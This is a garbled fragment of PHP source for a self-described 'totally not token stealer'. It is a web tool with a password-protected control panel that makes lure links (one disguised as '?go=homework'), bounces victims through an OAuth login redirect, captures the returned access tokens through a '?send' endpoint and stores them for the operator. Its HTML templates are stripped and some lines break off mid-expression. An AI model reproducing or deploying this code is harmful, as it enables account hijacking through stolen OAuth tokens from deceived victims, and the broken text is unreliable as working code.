{{error}}

totally not token stealer \"\"

login

"; } function CONTROL_PAGE(string $data) { return " control

{{error}}

{{name}} {{comment}} {{url}}
link
{{name}} {{token}} {{comment}} {{url}}
token
link
totally not token stealer \"\"
create new entry
(?go=homework)\" required />
active
name comment url
no active entries
completed
name token comment url
no completed entries
"; } // =========== // PREPARATION if (!file_exists(DATA_FILE_PATH)) { file_put_contents( DATA_FILE_PATH, ' 0 && array_keys($_GET)[0] == $p; } if (path("control")) { if (!isset($_GET["l"]) || $_GET["l"] == "") { echo LOGIN_PAGE("{}"); exit(); } if ($_GET["l"] != PANEL_PASSWORD) { echo LOGIN_PAGE('{error: "wrong password"}'); exit(); } // user authorized if (!in_array("do", array_keys($_GET))) { $config = readConfig(); $error = ""; if (isset($_GET["error"])) { $error = $_GET["error"]; } echo CONTROL_PAGE( json_encode([ "password" => $_GET["l"], "data" => $config, "error" => $error, ]), ); exit(); } } function readConfig() { $_ = json_decode( str_replace(" "tnts", "version" => 1, "data" => $config]; file_put_contents(DATA_FILE_PATH, " isset($item["name"]) && $item["name"] === $name, ), ); if (count($matches) != 0) { header( "Location: " . parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH) . "?control&l=" . $_GET["l"] . "&error=" . urlencode("url already exists"), true, 302, ); exit(); } $config[] = [ "name" => $name, "url" => $url, "comment" => $comment, "token" => null, ]; saveConfig($config); header( "Location: " . parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH) . "?control&l=" . $_GET["l"], true, 302, ); } if (isset($_GET["do"]) && $_GET["do"] === "delete" && isset($_GET["delete"])) { if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) { exit(); } $name = $_GET["delete"]; $config = readConfig(); $config = array_filter( $config, fn($item) => isset($item["name"]) && $item["name"] != $name, ); saveConfig($config); header( "Location: " . parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH) . "?control&l=" . $_GET["l"], true, 302, ); exit(); } function getBaseUrl(): string { $scheme = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https" : "http"; $host = $_SERVER["HTTP_HOST"] ?? ($_SERVER["SERVER_NAME"] ?? ""); $script = $_SERVER["SCRIPT_NAME"] ?? ($_SERVER["PHP_SELF"] ?? ""); return $scheme . "://" . $host . $script; } if (isset($_GET["go"])) { $config = readConfig(); $matches = array_values( array_filter( $config, fn($item) => isset($item["name"]) && $item["name"] == $_GET["go"], ), ); if (count($matches) == 0) { exit(); } $goUrl = getBaseUrl() . "?callback&name=" . $_GET["go"]; $redirect = AUTH_URL . rawurlencode(OAUTH_URL . rawurlencode($goUrl)); header("Location: " . $redirect, true, 302); exit(); } if (path("info")) { header("Content-type: application/json"); echo json_encode([ "name" => "totally not token stealer", "version" => "1.0.0", "author" => "ktkz", ]); } if (path("callback") && isset($_GET["name"])) { $base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH); $config = readConfig(); $matches = array_values( array_filter( $config, fn($item) => isset($item["name"]) && $item["name"] == $_GET["name"], ), ); if (count($matches) == 0) { exit(); } $send_url = $base . "?send&name=" . $_GET["name"]; $redirect_url = $matches[0]["url"]; echo " "; exit(); } if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) { $config = readConfig(); $matches = array_values( array_filter( $config, fn($item) => isset($item["name"]) && $item["name"] == $_GET["name"], ), ); if (count($matches) == 0) { exit(); } $config[array_search($matches[0], $config)]["token"] = $_GET["token"]; saveConfig($config); }